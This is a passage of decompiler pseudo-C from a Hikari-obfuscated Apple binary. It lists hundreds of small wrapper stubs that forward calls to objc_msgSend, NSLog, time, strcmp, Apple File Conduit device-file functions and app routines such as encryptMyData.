return HikariFunctionWrapper_18012(a1, a2);
}
//----- (0000000100220A10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18014(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220A20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18015(void *a1, const char *a2)
{
return HikariFunctionWrapper_18014(a1, a2);
}
//----- (0000000100220A30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18016(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220A40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18017(void *a1, const char *a2)
{
return HikariFunctionWrapper_18016(a1, a2);
}
//----- (0000000100220A50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18018(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220A60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18019(void *a1, const char *a2)
{
return HikariFunctionWrapper_18018(a1, a2);
}
//----- (0000000100220A70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18020(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220A80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18021(void *a1, const char *a2)
{
return HikariFunctionWrapper_18020(a1, a2);
}
//----- (0000000100220A90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18022(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220AA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18023(void *a1, const char *a2)
{
return HikariFunctionWrapper_18022(a1, a2);
}
//----- (0000000100220AB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18024(__int64 a1)
{
return AFCKeyValueRead(a1);
}
// 100256132: using guessed type __int64 __fastcall AFCKeyValueRead(_QWORD);
//----- (0000000100220AC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18025(__int64 a1)
{
return HikariFunctionWrapper_18024(a1);
}
//----- (0000000100220AD0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18026(const char *a1, const char *a2)
{
return strcmp(a1, a2);
}
//----- (0000000100220AE0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18027(const char *a1, const char *a2)
{
return HikariFunctionWrapper_18026(a1, a2);
}
//----- (0000000100220AF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18028(__int64 a1)
{
return AFCKeyValueClose(a1);
}
// 10025612C: using guessed type __int64 __fastcall AFCKeyValueClose(_QWORD);
//----- (0000000100220B00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18029(__int64 a1)
{
return HikariFunctionWrapper_18028(a1);
}
//----- (0000000100220B10) ----------------------------------------------------
time_t __fastcall HikariFunctionWrapper_18030(time_t *a1)
{
return time(a1);
}
//----- (0000000100220B20) ----------------------------------------------------
time_t __fastcall HikariFunctionWrapper_18031(time_t *a1)
{
return HikariFunctionWrapper_18030(a1);
}
//----- (0000000100220B30) ----------------------------------------------------
time_t __fastcall HikariFunctionWrapper_18032(time_t *a1)
{
return time(a1);
}
//----- (0000000100220B40) ----------------------------------------------------
time_t __fastcall HikariFunctionWrapper_18033(time_t *a1)
{
return HikariFunctionWrapper_18032(a1);
}
//----- (0000000100220B50) ----------------------------------------------------
time_t __fastcall HikariFunctionWrapper_18034(time_t *a1)
{
return time(a1);
}
//----- (0000000100220B60) ----------------------------------------------------
time_t __fastcall HikariFunctionWrapper_18035(time_t *a1)
{
return HikariFunctionWrapper_18034(a1);
}
//----- (0000000100220B70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18036(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220B80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18037(void *a1, const char *a2)
{
return HikariFunctionWrapper_18036(a1, a2);
}
//----- (0000000100220B90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18038(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220BA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18039(void *a1, const char *a2)
{
return HikariFunctionWrapper_18038(a1, a2);
}
//----- (0000000100220BB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18040(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100220BC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18041(NSString *a1)
{
HikariFunctionWrapper_18040(a1);
}
//----- (0000000100220BD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18042(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220BE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18043(void *a1, const char *a2)
{
return HikariFunctionWrapper_18042(a1, a2);
}
//----- (0000000100220BF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18044(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220C00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18045(void *a1, const char *a2)
{
return HikariFunctionWrapper_18044(a1, a2);
}
//----- (0000000100220C10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18046(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220C20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18047(void *a1, const char *a2)
{
return HikariFunctionWrapper_18046(a1, a2);
}
//----- (0000000100220C30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18048(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220C40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18049(void *a1, const char *a2)
{
return HikariFunctionWrapper_18048(a1, a2);
}
//----- (0000000100220C50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18050(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220C60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18051(void *a1, const char *a2)
{
return HikariFunctionWrapper_18050(a1, a2);
}
//----- (0000000100220C70) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18052(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (0000000100220C80) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18053(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18052(a1, a2, a3, a4);
}
//----- (0000000100220C90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18054(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220CA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18055(void *a1, const char *a2)
{
return HikariFunctionWrapper_18054(a1, a2);
}
//----- (0000000100220CB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18056(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220CC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18057(void *a1, const char *a2)
{
return HikariFunctionWrapper_18056(a1, a2);
}
//----- (0000000100220CD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18058(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220CE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18059(void *a1, const char *a2)
{
return HikariFunctionWrapper_18058(a1, a2);
}
//----- (0000000100220CF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18060(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220D00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18061(void *a1, const char *a2)
{
return HikariFunctionWrapper_18060(a1, a2);
}
//----- (0000000100220D10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18062(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220D20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18063(void *a1, const char *a2)
{
return HikariFunctionWrapper_18062(a1, a2);
}
//----- (0000000100220D30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18064(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220D40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18065(void *a1, const char *a2)
{
return HikariFunctionWrapper_18064(a1, a2);
}
//----- (0000000100220D50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18066(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100220D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18067(objc_class *a1)
{
return HikariFunctionWrapper_18066(a1);
}
//----- (0000000100220D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18068(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220D80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18069(void *a1, const char *a2)
{
return HikariFunctionWrapper_18068(a1, a2);
}
//----- (0000000100220D90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18070(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220DA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18071(void *a1, const char *a2)
{
return HikariFunctionWrapper_18070(a1, a2);
}
//----- (0000000100220DB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18072(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18073(void *a1, const char *a2)
{
return HikariFunctionWrapper_18072(a1, a2);
}
//----- (0000000100220DD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18074(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220DE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18075(void *a1, const char *a2)
{
return HikariFunctionWrapper_18074(a1, a2);
}
//----- (0000000100220DF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18076(__int64 a1)
{
return AFCFileRefOpen(a1);
}
// 10025611A: using guessed type __int64 __fastcall AFCFileRefOpen(_QWORD);
//----- (0000000100220E00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18077(__int64 a1)
{
return HikariFunctionWrapper_18076(a1);
}
//----- (0000000100220E10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18078(__int64 a1)
{
return AFCFileRefRead(a1);
}
// 100256120: using guessed type __int64 __fastcall AFCFileRefRead(_QWORD);
//----- (0000000100220E20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18079(__int64 a1)
{
return HikariFunctionWrapper_18078(a1);
}
//----- (0000000100220E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18080(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18081(void *a1, const char *a2)
{
return HikariFunctionWrapper_18080(a1, a2);
}
//----- (0000000100220E50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18082(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220E60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18083(void *a1, const char *a2)
{
HikariFunctionWrapper_18082(a1, a2);
}
//----- (0000000100220E70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18084(void *a1)
{
transformLine(a1);
}
//----- (0000000100220E80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18085(void *a1)
{
HikariFunctionWrapper_18084(a1);
}
//----- (0000000100220E90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18086(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220EA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18087(void *a1, const char *a2)
{
return HikariFunctionWrapper_18086(a1, a2);
}
//----- (0000000100220EB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18088(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220EC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18089(void *a1, const char *a2)
{
HikariFunctionWrapper_18088(a1, a2);
}
//----- (0000000100220ED0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18090(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220EE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18091(void *a1, const char *a2)
{
return HikariFunctionWrapper_18090(a1, a2);
}
//----- (0000000100220EF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18092(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220F00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18093(void *a1, const char *a2)
{
return HikariFunctionWrapper_18092(a1, a2);
}
//----- (0000000100220F10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18094(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220F20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18095(void *a1, const char *a2)
{
return HikariFunctionWrapper_18094(a1, a2);
}
//----- (0000000100220F30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18096(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220F40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18097(void *a1, const char *a2)
{
return HikariFunctionWrapper_18096(a1, a2);
}
//----- (0000000100220F50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18098(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220F60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18099(void *a1, const char *a2)
{
return HikariFunctionWrapper_18098(a1, a2);
}
//----- (0000000100220F70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18100(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100220F80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18101(objc_class *a1)
{
return HikariFunctionWrapper_18100(a1);
}
//----- (0000000100220F90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18102(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220FA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18103(void *a1, const char *a2)
{
return HikariFunctionWrapper_18102(a1, a2);
}
//----- (0000000100220FB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18104(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100220FC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18105(NSString *a1)
{
HikariFunctionWrapper_18104(a1);
}
//----- (0000000100220FD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18106(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220FE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18107(void *a1, const char *a2)
{
return HikariFunctionWrapper_18106(a1, a2);
}
//----- (0000000100220FF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18108(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18109(void *a1, const char *a2)
{
HikariFunctionWrapper_18108(a1, a2);
}
//----- (0000000100221010) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18110(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221020) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18111(void *a1, const char *a2)
{
return HikariFunctionWrapper_18110(a1, a2);
}
//----- (0000000100221030) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18112(void *a1)
{
return encryptMyData(a1);
}
//----- (0000000100221040) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18113(void *a1)
{
return HikariFunctionWrapper_18112(a1);
}
//----- (0000000100221050) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18114(__int64 a1)
{
return AFCFileRefRead(a1);
}
// 100256120: using guessed type __int64 __fastcall AFCFileRefRead(_QWORD);
//----- (0000000100221060) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18115(__int64 a1)
{
return HikariFunctionWrapper_18114(a1);
}
//----- (0000000100221070) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18116(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221080) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18117(void *a1, const char *a2)
{
return HikariFunctionWrapper_18116(a1, a2);
}
//----- (0000000100221090) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18118(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002210A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18119(void *a1, const char *a2)
{
return HikariFunctionWrapper_18118(a1, a2);
}
//----- (00000001002210B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18120(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002210C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18121(void *a1, const char *a2)
{
HikariFunctionWrapper_18120(a1, a2);
}
//----- (00000001002210D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18122(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002210E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18123(void *a1, const char *a2)
{
return HikariFunctionWrapper_18122(a1, a2);
}
//----- (00000001002210F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18124(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221100) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18125(void *a1, const char *a2)
{
return HikariFunctionWrapper_18124(a1, a2);
}
//----- (0000000100221110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18126(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18127(void *a1, const char *a2)
{
return HikariFunctionWrapper_18126(a1, a2);
}
//----- (0000000100221130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18128(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18129(void *a1, const char *a2)
{
return HikariFunctionWrapper_18128(a1, a2);
}
//----- (0000000100221150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18130(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100221160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18131(objc_class *a1)
{
return HikariFunctionWrapper_18130(a1);
}
//----- (0000000100221170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18132(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18133(void *a1, const char *a2)
{
return HikariFunctionWrapper_18132(a1, a2);
}
//----- (0000000100221190) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18134(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002211A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18135(void *a1, const char *a2)
{
HikariFunctionWrapper_18134(a1, a2);
}
//----- (00000001002211B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18136(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002211C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18137(NSString *a1)
{
HikariFunctionWrapper_18136(a1);
}
//----- (00000001002211D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18138(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002211E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18139(NSString *a1)
{
HikariFunctionWrapper_18138(a1);
}
//----- (00000001002211F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18140(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221200) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18141(void *a1, const char *a2)
{
return HikariFunctionWrapper_18140(a1, a2);
}
//----- (0000000100221210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18142(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100221220) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18143(NSString *a1)
{
HikariFunctionWrapper_18142(a1);
}
//----- (0000000100221230) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18144(void *a1)
{
return encryptMyData(a1);
}
//----- (0000000100221240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18145(void *a1)
{
return HikariFunctionWrapper_18144(a1);
}
//----- (0000000100221250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18146(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18147(void *a1, const char *a2)
{
return HikariFunctionWrapper_18146(a1, a2);
}
//----- (0000000100221270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18148(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18149(void *a1, const char *a2)
{
return HikariFunctionWrapper_18148(a1, a2);
}
//----- (0000000100221290) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18150(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002212A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18151(void *a1, const char *a2)
{
HikariFunctionWrapper_18150(a1, a2);
}
//----- (00000001002212B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18152(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002212C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18153(void *a1, const char *a2)
{
HikariFunctionWrapper_18152(a1, a2);
}
//----- (00000001002212D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18154(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002212E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18155(void *a1, const char *a2)
{
return HikariFunctionWrapper_18154(a1, a2);
}
//----- (00000001002212F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18156(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221300) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18157(void *a1, const char *a2)
{
HikariFunctionWrapper_18156(a1, a2);
}
//----- (0000000100221310) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18158(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221320) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18159(void *a1, const char *a2)
{
HikariFunctionWrapper_18158(a1, a2);
}
//----- (0000000100221330) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18160(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221340) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18161(void *a1, const char *a2)
{
return HikariFunctionWrapper_18160(a1, a2);
}
//----- (0000000100221350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18162(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18163(void *a1, const char *a2)
{
return HikariFunctionWrapper_18162(a1, a2);
}
//----- (0000000100221370) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18164(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100221380) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18165(void *a1, const char *a2)
{
HikariFunctionWrapper_18164(a1, a2);
}
//----- (0000000100221390) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18166(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002213A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18167(void *a1, const char *a2)
{
HikariFunctionWrapper_18166(a1, a2);
}
//----- (00000001002213B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18168(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002213C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18169(void *a1, const char *a2)
{
return HikariFunctionWrapper_18168(a1, a2);
}
//----- (00000001002213D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18170(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002213E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18171(NSString *a1)
{
HikariFunctionWrapper_18170(a1);
}
//----- (00000001002213F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18172(__int64 a1)
{
return AFCDirectoryOpen(a1);
}
// 100256102: using guessed type __int64 __fastcall AFCDirectoryOpen(_QWORD);
//----- (0000000100221400) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18173(__int64 a1)
{
return HikariFunctionWrapper_18172(a1);
}
//----- (0000000100221410) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18174(__int64 a1)
{
return AFCDirectoryRead(a1);
}
// 100256108: using guessed type __int64 __fastcall AFCDirectoryRead(_QWORD);
//----- (0000000100221420) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18175(__int64 a1)
{
return HikariFunctionWrapper_18174(a1);
}
//----- (0000000100221430) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18176(char *a1, size_t a2, const char *a3)
{
return snprintf(a1, a2, a3);
}
//----- (0000000100221440) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18177(char *a1, size_t a2, const char *a3)
{
return HikariFunctionWrapper_18176(a1, a2, a3);
}
//----- (0000000100221450) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18178(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221460) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18179(void *a1, const char *a2)
{
return HikariFunctionWrapper_18178(a1, a2);
}
//----- (0000000100221470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18180(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100221480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18181(void *a1, const char *a2)
{
return HikariFunctionWrapper_18180(a1, a2);
}
//----- (0000000100221490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18182(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002214A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18183(void *a1, const char *a2)
{
return HikariFunctionWrapper_18182(a1, a2);
}
//----- (00000001002214B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18184(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002214C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18185(void *a1, const char *a2)
{
return HikariFunctionWrapper_18184(a1, a2);
}
//----- (00000001002214D0) ----------------------------------------------------
